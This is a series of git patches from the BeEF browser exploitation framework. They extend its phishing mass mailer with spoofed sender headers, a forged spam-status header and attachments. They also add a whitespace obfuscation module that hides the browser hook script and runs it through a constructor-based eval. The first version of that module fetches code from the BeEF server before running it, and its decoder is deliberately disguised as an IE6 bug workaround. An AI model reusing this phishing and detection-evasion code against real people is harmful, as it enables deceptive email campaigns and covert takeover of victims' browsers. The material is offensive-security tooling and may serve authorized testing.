"http://antisnatchor.com" - - header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) + header = email_headers(@from, fromname, @user_agent, to, name, subject, msg_id, boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) images = "" @config.get("#{@config_prefix}.templates.default.images").each do |image| @@ -84,12 +87,16 @@ module BeEF message end - def email_headers(from, user_agent, to, name, subject, msg_id, boundary) + #todo "Michele Orru" need to be configurable + def email_headers(from, fromname, user_agent, to, name, subject, msg_id, boundary) headers = < +From: "#{fromname}" <#{from}> +Reply-To: "#{fromname}" <#{from}> +Return-Path: "#{fromname}" <#{from}> +X-Mailer: #{user_agent} +To: #{to} +Message-ID: <#{msg_id}@#{@host}> +X-Spam-Status: No, score=0.001 required=5 Subject: #{subject} MIME-Version: 1.0 Content-Type: multipart/alternative; diff --git a/extensions/social_engineering/mass_mailer/templates/default/mail.html b/extensions/social_engineering/mass_mailer/templates/default/mail.html index 5620d00c8..195f9a116 100644 --- a/extensions/social_engineering/mass_mailer/templates/default/mail.html +++ b/extensions/social_engineering/mass_mailer/templates/default/mail.html @@ -3,17 +3,17 @@ -Hi __name __,
+Hi __name__,

We would like to inform you that your BeEF order has been successful.
You can check the status of your hook at the following link:
- + __linktext__

Regards,
The BeEF team
__img1__
- + \ No newline at end of file From 788cef08d3f18ab2bd2946219027e2a0f0cd57cc Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 29 Aug 2012 13:54:26 +0200 Subject: [PATCH 111/225] add whitespace obfuscation technique - should work in theory - but does not in practice --- extensions/evasion/obfuscation/whitespace.rb | 84 ++++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 extensions/evasion/obfuscation/whitespace.rb diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb new file mode 100644 index 000000000..5f640651c --- /dev/null +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -0,0 +1,84 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module Evasion + class Whitespace + include Singleton + + def need_bootstrap + false + end + + def execute(input, config) + print_debug input.length + encoded = encode(input) + var_name = BeEF::Extension::Evasion::Helper::random_string(3) + + config = BeEF::Core::Configuration.instance + hook = config.get("beef.http.hook_file") + host = config.get("beef.http.host") + port = config.get("beef.http.port") + decode_function = +" +//Dirty IE6 whitespace bug hack +#{var_name} = function (){ + jQuery.get(\'http://#{host}:#{port}#{hook}\', function callback(data) { + var output = ''; + var str = '//E'+'OH'; + var chunks = data.split(str); + for (var i = 0; i < chunks.length; i++) + { + if(chunks[i].substring(0,4) == '----') + { + input = chunks[i].split('\\n'); + input = input[0].substring(5); + for(y = 0; y < input.length/8; y++) + { + v = 0; + for(x = 0; x < 8; x++) + { + if(input.charCodeAt(x+(y*8)) > 9) + { + v++; + } + if(x != 7) + { + v = v << 1; + } + } + output += String.fromCharCode(v); + } + } + }alert(output.length);[].constructor.constructor(output)(); + }, 'text'); +} +#{var_name}();//EOH-----" + + input = "#{decode_function}#{encoded}" + print_debug "[OBFUSCATION - WHITESPACE] Javascript has been Whitespace Encoded" + input + end + + def encode(input) + output = input.unpack('B*') + output = output.to_s.gsub(/[\["01\]]/, '[' => '', '"' => '', ']' => '', '0' => "\t", '1' => ' ') + output + end + end + end + end +end From e86712413ca64d0c9f0a646ad1481320680153b9 Mon Sep 17 00:00:00 2001 From: Jean-Louis Huynen Date: Wed, 29 Aug 2012 18:22:22 +0200 Subject: [PATCH 112/225] modified whitespace evasion technique to keep it simple - modified beefjs (just one line, i don't had much time to investigate my change but it seems to work better with it than without it :) --- core/main/handlers/modules/beefjs.rb | 3 +- extensions/evasion/config.yaml | 5 +- extensions/evasion/extension.rb | 1 + extensions/evasion/obfuscation/whitespace.rb | 76 ++++++++------------ 4 files changed, 35 insertions(+), 50 deletions(-) diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 8e30ae735..38e48f05c 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -104,8 +104,7 @@ module BeEF if config.get("beef.extension.evasion.enable") evasion = BeEF::Extension::Evasion::Evasion.instance - @hook = evasion.add_bootstrapper + evasion.obfuscate(@hook) - @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate) + @hook + @final_hook = ext_js_to_not_obfuscate + evasion.add_bootstrapper + evasion.obfuscate(ext_js_to_obfuscate + @hook) else @final_hook = ext_js_to_not_obfuscate + @hook end diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index 712989a31..7d9db7f91 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -16,7 +16,7 @@ beef: extension: evasion: - enable: true + enable: true name: 'Evasion' authors: ["antisnatchor"] exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"] @@ -26,4 +26,5 @@ beef: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble", "minify"] + #chain: ["scramble", "minify"] + chain: ["minify", "base64", "whitespace"] diff --git a/extensions/evasion/extension.rb b/extensions/evasion/extension.rb index ce1fc360e..e7e5c25d5 100644 --- a/extensions/evasion/extension.rb +++ b/extensions/evasion/extension.rb @@ -30,3 +30,4 @@ require 'extensions/evasion/helper' require 'extensions/evasion/obfuscation/scramble' require 'extensions/evasion/obfuscation/minify' require 'extensions/evasion/obfuscation/base_64' +require 'extensions/evasion/obfuscation/whitespace' diff --git a/extensions/evasion/obfuscation/whitespace.rb b/extensions/evasion/obfuscation/whitespace.rb index 5f640651c..8c20217f4 100644 --- a/extensions/evasion/obfuscation/whitespace.rb +++ b/extensions/evasion/obfuscation/whitespace.rb @@ -20,56 +20,40 @@ module BeEF include Singleton def need_bootstrap - false + true + end + + def get_bootstrap + # the decode function is in plain text - called IE-spacer - because trolling is always a good idea + decode_function = +"//Dirty IE6 whitespace bug hack +function IE_spacer(css_space) { + var spacer = ''; + for(y = 0; y < css_space.length/8; y++) + { + v = 0; + for(x = 0; x < 8; x++) + { + if(css_space.charCodeAt(x+(y*8)) > 9) + { + v++; + } + if(x != 7) + { + v = v << 1; + } + } + spacer += String.fromCharCode(v); + }return spacer; +}" end def execute(input, config) - print_debug input.length + size = input.length encoded = encode(input) - var_name = BeEF::Extension::Evasion::Helper::random_string(3) - - config = BeEF::Core::Configuration.instance - hook = config.get("beef.http.hook_file") - host = config.get("beef.http.host") - port = config.get("beef.http.port") - decode_function = -" -//Dirty IE6 whitespace bug hack -#{var_name} = function (){ - jQuery.get(\'http://#{host}:#{port}#{hook}\', function callback(data) { - var output = ''; - var str = '//E'+'OH'; - var chunks = data.split(str); - for (var i = 0; i < chunks.length; i++) - { - if(chunks[i].substring(0,4) == '----') - { - input = chunks[i].split('\\n'); - input = input[0].substring(5); - for(y = 0; y < input.length/8; y++) - { - v = 0; - for(x = 0; x < 8; x++) - { - if(input.charCodeAt(x+(y*8)) > 9) - { - v++; - } - if(x != 7) - { - v = v << 1; - } - } - output += String.fromCharCode(v); - } - } - }alert(output.length);[].constructor.constructor(output)(); - }, 'text'); -} -#{var_name}();//EOH-----" - - input = "#{decode_function}#{encoded}" - print_debug "[OBFUSCATION - WHITESPACE] Javascript has been Whitespace Encoded" + var_name = BeEF::Extension::Evasion::Helper::random_string(3) + input = "var #{var_name}=\"#{encoded}\";[].constructor.constructor(IE_spacer(#{var_name}))();" + print_debug "[OBFUSCATION - WHITESPACE] #{size}byte of Javascript code has been Whitespaced" input end From 92b2382e2552fede1df1051c0e0b94822bdc676e Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 29 Aug 2012 17:38:37 +0100 Subject: [PATCH 113/225] Social Eng. extension: added support to specify attachments, added automatic MIME type guessing --- .../mass_mailer/mass_mailer.rb | 46 +++++++++++++----- .../templates/default/beef_attachment.pdf | Bin 0 -> 33184 bytes .../mass_mailer/templates/default/mail.html | 2 + .../mass_mailer/templates/default/mail.plain | 2 + 4 files changed, 39 insertions(+), 11 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/default/beef_attachment.pdf diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 0a25d4db9..ae0feb901 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -47,7 +47,10 @@ module BeEF n = tos_hash.size x = 1 - print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:\nsubject: #{subject}\nlink: #{link}\nlinktext: #{linktext}" + print_info "Sending #{n} mail(s) from [#{@from}] - name [#{fromname}] using template [#{template}]:" + print_info "subject: #{subject}" + print_info "link: #{link}" + print_info "linktext: #{linktext}" # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) @@ -62,15 +65,12 @@ module BeEF end end - #todo sending to hostmonster the email is probably flagged as spam: - # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(fromname, to, name, subject, link, linktext, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - header = email_headers(@from, fromname, @user_agent, to, name, subject, msg_id, boundary) + header = email_headers(@from, fromname, @user_agent, to, subject, msg_id, boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html"),rel_boundary) @@ -80,15 +80,19 @@ module BeEF images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) end + attachments = "" + @config.get("#{@config_prefix}.templates.default.attachments").each do |attachment| + attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + end + close = email_close(boundary) - message = header + plain_body + rel_header + html_body + images + close + message = header + plain_body + rel_header + html_body + images + attachments + close print_debug "Raw Email content:\n #{message}" message end - #todo "Michele Orru" need to be configurable - def email_headers(from, fromname, user_agent, to, name, subject, msg_id, boundary) + def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary) headers = < Reply-To: "#{fromname}" <#{from}> @@ -144,15 +148,29 @@ EOF def email_add_image(name, path, rel_boundary) file_encoded = [File.read(path)].pack("m") # base64 encoded - #todo: content-type must be determined at least from file extension, not hardcoded image = < Content-Disposition: inline; filename="#{name}" +#{file_encoded} +--#{rel_boundary} +EOF + image + end + + def email_add_attachment(name, path, rel_boundary) + file_encoded = [File.read(path)].pack("m") # base64 encoded + image = <#vvHe)R z&Dh+6qn>2AfmH9#Zc&Z~q#xoQ(k<}=>7s#r<&B7pD@wUQ3=$_eTI)d$?)v8|KyH?5WG-MF1FlFC-_^|tu80%A%t z#KfW!tXgUZ?%i(l@UaF`OHAQZtya$07$-X)d_!qaA4tB*p@gwA7#L9hte2uqYf+Az;_VevrjgvkjQ-}|{Egbh?ff!rI<(J% z&9)Y&@UkwI-c%TExm>CzLFp4p_Wfzx6qItBAC|I0AR;+@nN!a-$p9aU)B-MMCs`T8 zuD2P3AL6V;%|LEQr6hY2RkpFAM`Dn)#hCNTSBttQLhUKVFM?mrg|#G=KRVKMuN_@| zS+IV6ez~)bSc{olMRvZxAz%4HRJ8JFB=7o`jyJUC!v_aD2QaZQ{%2(0pZ);i4+{R= zS=m|sWd3<%{tv9ExP3JNF(??A{&lrCv2g^k{EZtW69-!-dm|GE5c}T-VOtx=_k0J? zAFRCtOV-5L+(5|I6{OAhZeV9(261pP>jK`f^-nv0-uoAm3ih@}$|jB=?f1q+#6S!x zCa#Vk21)DphK2sQ3;%PM1nGhpgl(;C?Ulb87@2_nKw8*=3B>WI+4t(-q5SU2UuG2* zCVD0i*WdoAs4%}Ln3(=b{VAp)Z)jm+^mj=~>-Vfbfh)a({}2BE@$oO)zfS%$ahU$; zfxr9a-&z=yoeUlS>aD-L1~I6c8^6yoW=2L3gM^8>shJ~)iIwX;hWB2w|7!bZwgDXN zo!zoeQV@M47pqII!N1nGCt`&9e-`yov* zT}-e)hJ=QnP}@_Mm;1bR9!1L*n-&$DGP5A34ln3+9AzCHeP8JG{ypbW^_eOyg!({` zO5neKlZ=#;tbyT9QsA%(Aek+qU%p>Tv5p3S3b^4TFcu%DG-Qo)^$89@e~PhR6O0-AdCZibNnJ^?)w`XOI@$|eH&7BDHnMAxKOa*Y;s&DxC)QbN$0BYSlY7u?@wD@B`lDo=7k5HX*_2ptP%S*$o`?FM(mNRL+HruZ0 zxuW>n!-Q>k4x9TZYfwzqqV!rgu4A=x0a(7b@wo5s(f5W3e2&=^TQ;S5%g#|lQf}wm#uhT>-g0{*#H-|UwW&ha~Z8zKJb)%y_M2Wd2p_GI? z5(}>wb2S-4VF*XHcrH>=4l zeAfH?A_bRQ)!8!NUP6RLn0$kKx!!6T$Zxl6RE0k=ek@rOu0q>FZ1oE^ru#=oew{2{7?y1| z0LW1jx)+g`jyXPg{O)|ioa3_pbu$|YL4r|=rixs;_8pl9m8W1g`{jU$WD%e9KAgJ^ zGR{RHI-8iK5h#E@C;00*G8MDq$jmUWIC7*S_M>TaBtQmUP?KaaAB_WB&_dB!5A4WbX6`dc5K6PZh8M<;&}x&!rWCXdnJW#OC~kLa)f%qoq?1 zDI>Jm2HH__xW(o5&iD6@t%#CwzY5d<@!ia_gzp(RB@@+%G4jjGi1z;uq(x?D(iosz z_%5s(LF5!rCD4>i{oQ)sC+kTi6f4n>$go1FiFu-4!FOv-JmzLro$t-R%I9!<|0^fD zZdrFi1o9*`fbsikWxH#}d63e(g`eb_dfHoEBBY3z=ypD^$&`jJZ`-=E3_9MBLj z>S?!YA@f8lny*KP((}W^!gJO-@W=JJGKL2gTPmRR*PhAzNB|sc*4ufI*Aub_l*qSn zsDr{A#7M2TYohyMucsK+v5nP?HX9z#gI|QW)kSz4Yny^S*kaLH7FsSnx~QHNBq*8(B*d9u=~o8;gWv3kN7I$v&|j0m}n`&01@6L07eSLh4m;~7O5Yj zq{plKa*DNc10>H?U3Osf3rEcxF!@wzcaG3{+xd6|zeuz?B?dTT$PL0(9-XUXMId%? zYZL!U$c#lm^$`yI1P%tguM$kCX_^^-NnAU)F39@5P zMWuBoO!Ak6UIy!fBm}ze{C2Ai`Y4ph$%YTmqg*379ZTDziTeIvC&7L*t}2SaUh^Yi zF~WmjII&MYR{2k5yoFEPyd}!!o)<%Pg0;+p^b^_5h2=*IuXRxXUH=~Cs4hA0L45O) zp*PGpZ^S@ceOhIdyV+|GW5TS{k*nBssFQ-Uq$&=+= zi9Kh(I}Urhf9v5k!N#EEjxl3)Eydv8Da>ScA~f@ON%z^uye0#L(Fh=9VALS4Qh}I3 zd@L<1v5{y=Yx`C-n$B>P5PA^dQdpfDHD=ffr*LRBUroBt{Oq zc{(ZXp6U5rqsNdaf=8CEl=D;8*%8w9Myihu^~IFn_Ebg_x>cxeYLp2HCC{cH3SokN!n6Fl>r@A` zT9+RK=G$&Y&@P7fr?;Mdu_kBlF3Ug92Y* zAX_esJ|@d2&Y|^5#P|pnhpAC@dysKWbYrDc38zp^lT}Va&-D3rS3c_xyP#f#Ju4dR zSNp?hNYNw@neD+Zn%u#@~E2}H-I=k()7yHqRpb2og zD%}kgiNmAI32-ox;O<*9Ad=A-|3Rrb73dl+TOJw923Yv!*{rXg1Vg*S>v^C$rCm~9 zPTpj{x;iP{TauUXD7));nFly_1;((d!P(r!NI-9_G+3vY0rO^1*5AHf#1~(-+`+?1 zlIBBZY+8a<;&aGgd+v-MqOTIs^Y#~fg;wz@Eowe#e*Atitgvv$bb&C|q+_GC1m zyVX@5y41SzMZLjcLRP8djksfwlH{^H)mZ^&z;R$fo+#na9$Y5LI05?=VT-|Ct|ZE8 zg?InLGN4Eb$W&n20V+tc#3MvzpxjsoMI+YsNwJ(D`d3H{3y06h|WMUnFfEU((k z@#bi3kt_OO%L);3OHRek9=Yve$^AH)R@eGcT3kr|iRzp&3zq8nT2U7U$gr&4X57hD zqTxiaDMN4%#T}NjVOyy?NExeekd$AAg3C-_A`6)6GC1rn_CpD@r`QLD`vCHVkhzi7 z?|#3@!&P&v-_!JfouKV?`%9UdY2SVzRlh*5#gZ!%2pXoXl-OPx3cPmM=M#MuBLy0o zI#ZKeW|-3D0z7pAn>1fkj0npzB?S{Rc%Q;hwHP@uf&yW4>7doVu_H^Ja1jEMJbM%I zBf-_FHr3&#RO;a)jwPPM4(Q5Q=c^{1N{vTK);gfYboumwA!MYEnS8a|%L^z%@%sK| z{<8)RgJwTEj0$sgtKbW7=BK0L)XMY((}Wkhsbp{xk3As>)1Li1KE+TU^IrdK9=TTr z!XOct@{IUros`AU;7ZnAKgzyD3X1;PtO?L1ue$QBZutG&1u6YAkm`PEh{{QPT&mc01e!HPdIOdA+yADZ|@TT z*LcF~MnWS5X_k|a&32vnUIdF)huB!t7!7cZ6^chg={vW(j5T!#edV&KsJO2WMU|be?sRt^hQjEGtw5!)2;Uop6XrC+*t4PA zleecHKM^h!Ceqp^hHA=hPh7v}UlIy7W!8HeJA9zgtV2N^%YKzffA$L$B$h#_h3^rf z%Cp+0kORvtE_&YzB8zG$9Cn|@1mn-1PXKb0!U{VWS%wc|rZ-Dten0l9p=T@Det}jE zXKW8*=u3&b1i02 zIS;zYfDvM%(WzEWm_1!M%n}g1ocrkRM|#@0h5#}f!#vnfc=AQr5RUpqf$#keXuY!R zot9$q7G12sd^oLDDiI2z$5y)?qOj9h?PH?(+^=U>j9SaIQ1HcRox&@*>3L}LnL)Fu zRIV1Ah8><4S4T-FUlIdj6l0qhp`QahXQwhKb$)Cgax<+*ez)z6Bex@KTP)Nj>e+3p z-%9lgb?a7(B1nFiE`0itoa!qDq~ERRZD0#QCfLd1NggSeOQOeqtNFmzu+mEtAYwVo zed#xdlosiOif#g@NJ{;XBtV*n>3nHZbdkj9p<;@OnP2ZMN<*KHl2`^Xj#MV~eXW5d#` z4o)*RWI|5Ya>~^dkEy0{`0lO-E)6A%^c0*7YD-VHdFATzno7(}MWiB!P6ZZ#YWgG%iBr?9W;uqPFmfF4tIBZ{*A8&jXJG>?wCQh|F40RQk1Zaj^4j-am^IAV?@NI`ERKrnML0`!F23(bq@QD0WY9~q-nU0mJm zOu}e{j*lQu6Y>#n7+a_Gl+WBs3aiTm8=Ma>-Z0&yRr_ zVP)m@q3HRKH37spynQ)6`FQ5l9)~}SY`;b-UK6d(l{Q_X_~)W5)vbH&2Q7y7R!D2+d-S9Iq1ee3ALkYIk`EvKq1#t9tGK*tt=-46r zB69`aVPJy=urfQ9tD5C%QrgGN&gyI`lG1jm1s@>zyKN3@y!3*l2X>Li+$@JyRqlhk ze9BNpyEydA4Ld;;DpV0y)_GBDk~-r+vV+62gC;V(y|)+|KPbc zBak&MDw(x@BS)o(LYwyszd+gnNqWI{j}DLa#`!gJffJ&0sNSh5%I!!#hpD}46N5%wrI z3k3n1=DUC+ZhL}s#)@>yneWH(O)VaGgggkbHxn8$%vk=7HtWOV$9|Y8MW#h+HyLW| z;^5n3@DsR=LOn5%L%VWX(itOt01HXYnp}UrppdNu~O{I2b|_$dM|tGJ)Hdt)mD zU$?8ec)u$^aTX}3;+Q(AT~MY> zg?9Z|iTgDnwLgXrx6y!5v3t99(NAHo{OQdK`7W7iEwvB->*6I6n&4{OCI`IZ|lHC#~yN8C!zvDQ$c z5#R)ZM1wm3ok~jsE+kZ^CWuMSMPY&j4lkDZ7aSIvlH;K{UqJcD!1}zCkuf*4y8P&8 z5mx7jajBiNDH?k!0Z$ICKEjUzvu4du*iAMPG|o*e<9BN4>hH&&1M|9}lCe&n4g^m& z-)6hXWm7FP+x>qN(hU`WiKJIm3O@i7EHj94W`ak_GQQ8d-s4@-d>i~h=G8ju=_XEi zoA{=C<8EYzw5NF!_a>bjqfwz{Yd(B-3t`~ zeHS0jOdOE-exOPYfhm`wTA_MBjbH2x5Wkq$-y!uKUi_xtiy0r_^)RBrG4+XhEbCTD zQU~W_Ujxmc9=~MrJC64@WvfOCz|2Zm3qCPpl*3T^ZwfOa>WnHZbo+o#H0YtkM37w_ z0*fgz%+1=4p)P-@69n53eT%i`5DrxS>hv^Uv3Pq>8~kW@a&F>g+2b%gqJ|G$2Zm|& zanbsg$bprV)|sJg zd2O+zV|wqA{fRosReFDW(};M)Sf-y$&8&26FSvv>0c*NI zT^2aXL1g22^s&+ymHuM16z2STsirtCm^W!KSiZ8?>R`DS;g{*Id#eIi@C;5o=pPca zyg8x}#`^Nxhgd#BcWq9gMsKh4rxSdw#@YFM)2G@lB49i(XQ}f*bu7J*1RCEmRwcJ1 z4DJ{$MB*V?irn7fm=e&cJUJxm!hR94gflMs3RT(cE=iadGEcvD4I_z~qpQk=FFR?i1vgtWF|?xH6~ zL!Jum3~pECR7_m;9h}ev1lrELCVNl`7?@a4pP+W5)!^XM^-L!PJGcXc-2E*tYgnn< z5DA;(JyhO#thGzvtvoxw=P|pR@i~~S(GdEcL zVgF&0+o$MSaq3 zF;4wWpM88aO$hx+MdQox6n3umr5N<=1}OpW)6!^uHA90%^-68E0B#Ik7|<;i??g>;mGK znER7tgfz90mg8c)Z_>s-Rr1|$e%!Y27b9d&C#e#P0uFj2WY6gcolWXtD_4h8GGd`h zUSc;#4~$1eZ%gfIH#FcX@mS==wA*KhL)X#Lv7?Fyb3Z(XD-x#wH+tmx*Te~_FSs2A z%Ch84EknqQ`TCRash1Q6)lppVR_{JhD;y+hijW5|+wE3ZmPdFUSKQrWdA~lq<=BMT znFw!Wd`0L_3J5(Z3)xW(EGrzDN7eCb*9gRNo;Fa)AC%b<41$>VATO$Z9v1X!FscQr zJChbwQx$g0V_Y4TQ3Q4gw7k9_a&Cj{z=ccSx6 z6%GT{k=+T(*T*&4f+kxoAFxf@gV7Nv)P8l}!LkuL+h_DhfpK<6c9jsn7Rjc^l=JoA zDUu7ep-6i}hSR`q0mj_TYA)SFtNoOXPnMdmL}jjp3}=SslU<=pR;lw+`3Ui5BJub! z1f>RCbX)G-WLjkmah-HRP8Z*MpCF9N0zfN`Q)e+JW)%BX9W^Eof$8v3>Uo3BvsC>_!g?W%$hdKnzs7e&ytkI?ZQXBiz63!I<$jD` z;`}qFOFCoP`&ChzEsi(uUnO>p!m65$1|u#cxs0)>a*tM4IR@7x>~=Yq?dbw~6oy_9 zsc@jR8*RiTAY*XCAY_iyIrvlN3SrSaNwRbDd8|@ysVYx|#3G`6S3nwdl5ox*_>5l> z5j7IpxV?ef|3*0g{Y^Re|41qL--tkS zIvzThs)R%W5}q=J5%>``$%t=8kThoM!O1==y} zrC#QIk_uUV%OV{32e@iAcu`rpCSTXz(DZli$*Ij(d=6j6N1N}yP7r-1>>RxF7*9=Q z>2%m*j(kaMVeRRNW7pq;j$MaQSPVwhg>e>NX%N~FXuyf(Hj7|+nV@6K4QwB3S;6W7 zh2i=N>?XAVaZ2qo**RFss{~#I!CNy4%4U}JAgallcN99>xrO+!S$S*BBE=54v!3Z1 zy2)6xJ>jPD(0YS=wleAkE&N<_y;e7*@AmtFP^jpg7d|yfrO6s?T3%U$L_ef&enRho zP|Yvi3s@vH1=R2=(mP8x-(~g6`dKQKqH*NT2O}PRSG1V ztzqh#2Uy|MOE#Qw$-2Z?Ywj@PkYFyaW56fu4Yq5o{UNSovd#4TBD8i{TM@95Z-hcA zlEo9(VZOY*B~FYDJAqZGB03CCJ?s+FxvkroQnE+q5?W2wFXU&c0Vye&S0q2^l#~uG z>hYV%JKK54bQWze9$c$}{W|j;85=~U02k2i_)U+sMwDAU&MRB8q;bnX7O|+PL}-Q4 zOW{*j)cPVMNRnPCoftb-Qes8Ig}yY;(Gy7;fApSEn3nkDPs$vHPV3pIDM485v8`Q@ zj~1oH0)fiSVo6{x(3Wd|MW7M%3mkADgCSFON}ee&12(QAlhBQAn|(RE{sj^jtQ^3{ zm_V4no$ypBn^9XiWG<1Xno|=YS=)^s5!t#mA4!p7MZ2i3bz>xE}A z2hV$q0EKR~rL}FI)wy}I)7n+7?Cfi@ZKk2QuMw=Q&(0)HCMXZT(&m-Me-OO5`m^_N zKYn8MualcXdR<>~JZiWz8b{s%t~Iv+_Z-ySrk}sFFH-x$(Jk*Gd*E$mwAN?B1ixTD zF)+I`=TwiZXo-EhF&BzX*Ql76UpEx`W)N&uo+A7srE?)s+Cj)G$ozA>S^4DC&B$#m zOL_&H3dymk0)L*N zSKJk@h@enveAyI1$U=*NP`!{|?TAPGhtgG^$1~cx(OCUvo4J|azxjdGKhcMH^Y+J- zUZ8ODP#kF^)v^xa%om5UWT!8_RJcbXN{x6a;N3lwClDv=0&Yy2?Z0`Jx}Y{#^Uuv5 zL(%h3qb2x-3yU`|zYd{iB{oS+UCz{JSq&)Flc+~%BwfuG3cbPuteUh9&16;%^ zIVn8KXjGuw!Ulw8=Sb43=iFB``oAv#F)IoHt=pKNC4hzzNt?ita;UBI7Nr3js_c6+ zMwwsUWZ#QC3f9BcbFDrq+w)@6H-l0Vu);r$_UekRRKmLoQo({t4gmTFp~x%oE%~7 z3Bv8mvmjiKgZ4arh{{SCHy;v9TOh~hQrX+h)LFg+Q>sDzc10=lU`HfM7AH=GO{?J2t=Wq{rp-6Qt-*=%Po8h7fwoG%K47S)=<0A1$ zTp4}3MT03iLpEQ*!eM3(DG3>64(BBHN%2_5Y=aH#_4^wW0>c|Hec3`q?n$QZDdHtg zu;aBao9QGrMDSXDqzOBW?dTQDC5+Y($Qt_`vNZqLjnrI2cd(H@yUlN^vTr57h5~z; zqwsQQm~vv;Xlh<59?7ybY3~ZgCNAa zsZ2ba85;0~qn4_l>wimB#YUaJP2&^s!r>w^Ss5hI_5MJ-t#G0LE$fYv;s*!v)%)Kg zxhm@Zlsm6Ur~Fr2O);}{DD4E{tEPmcK|B<-kL3#|?J34!a3&E(nmgyD=S|bI<&tz! z!B@lZjl+zm(?2^;^KKQP36nI921;kvjGE1=840ucea4gvA09gsfG%m1loDUOkGe%} zTkc9lrLk(w4{PNkf71;7f+7sL`E3D#LNPB7ZzAz3xf{-dxR#qyc_#e!Ou+vUig2(X zr`-KJ+$WuqQ@eWf+AyH|&v71Q;=33k+Z`Q*PthM@LhwQcZ<6ADgqo8Zb0`c(I5i+* zj_MgY^Q6j>^(GWC2YSP94D;U5 z&I3ZPugtbr1s|X;-#$yQd6=*4D6*h(<04{&-sy1gCk(T&FgGXK`QR+nrz{aj0%OEp zSMd!$;d6g#5%lJOV9uET?kRNnc?*%XrdSJ#kS~RtZ2@PThBKz5;IIwWlGCofX|B90 z-%w~-LKQb@oSzPDM-k6a)?n;7?R^{H8bGT<^krUM(l1LDj5W-(?YR?lXksf4f#O<> zukQl{4-scxN~lm!G2M^CXLUW#A;xHQYj);n^%T0gw*`{NSO#=K`hGFBw1-D14>&0x z9{pGZwH#zj?b3l%yOX&r6~KzJC;5$r#Hm9bBVUcfQbu>wz?^aD9&>TxGtta*i%ok! zo$1gUg@pkq%WwQjd?Rx@%b>?r@4?!nK0jDKnq`nLYc9g&c|QX4@$k9zSyMB~JZU$3RGWW37CSk;=5SVy_zt-Q!raQP7NxD{xw`l}_7{^gT8g%1Z=jW9 z*rJYBe^1ql9bgM#S^0nvd>G-AmP;|dF&k{osG*4D$=jh^ojY#hq7m$kZtRpWecgVh&ruGR82J?K-)wp zykv%9J(a-6>{-3=r4GIX2GkQj$Uv{+=|U3?nO%x!tDk$y8bUVutQqu~c0L#xsX;h_ zA3ctS*$D^{*Z{+6k-WX*$e)T(!=P@RijsGUddhVCF?Q?-L{f7=ZFn6Fc(B}N7`c&m z*K|aqtuNrop5WI|JuYd#_j*OdHITy)c|#$Kvv>a=7U2KVoS8XT{(Axbp9JK8xxN1| zaOK`<&J2QonDI96L|xE7%V{O?cQW$-jWC~??4qK)gcUN;&e1-JP68sk#&w4WP4h@# zLMetx`YJ#K2a-FBK#KvOlNQ^{*2m$_v3-Fhy3IpAWBBHx%k(ThkE7-2q z(_RKOH1 zHGG{!#T?AUjFk(YS5C6iS7miuyhqde^IHn}uUuTsahx{RtjJb{^)#}r{79%=oo{5D zrum+*ChaPcX<)l|lruB;88Tpuz*N1_eeztZFlJF8&RN(c1Q=XmA6J__a>N6dSr(XU zk?F5+s4z*xBD95X=DP<&Umh=Nl^+b5XcBv6w?bWICa&ucqZzS%t89}+!O1kOQ_bQ| zEAUTGHRt!t9y*sc2)&hGc!%7dR4>R+Cb9%0votrXPRbeDvA}LgwbBV{JCanv>a1Y| zcDKsqe}lj-p~33bGp-1Otv<*1Z6i`3M4X&hIe=$d($gGpJZ1aa4tEA~-KCD4J*n{& zVe|Wal*D8)5#22+E|L}*9YsV=nJ|92Lw(!n;xZrm*-M*|-GzM-bfBtukO&_bX4V?? z$xkDe-WU+*Gq>gQft>;t$2-#!Xy&8`<`u-H&?E^vWXlUC{1KAWhTk2+>sT9=2{6>r zW>yhbzD&z^`mEmpw&mh 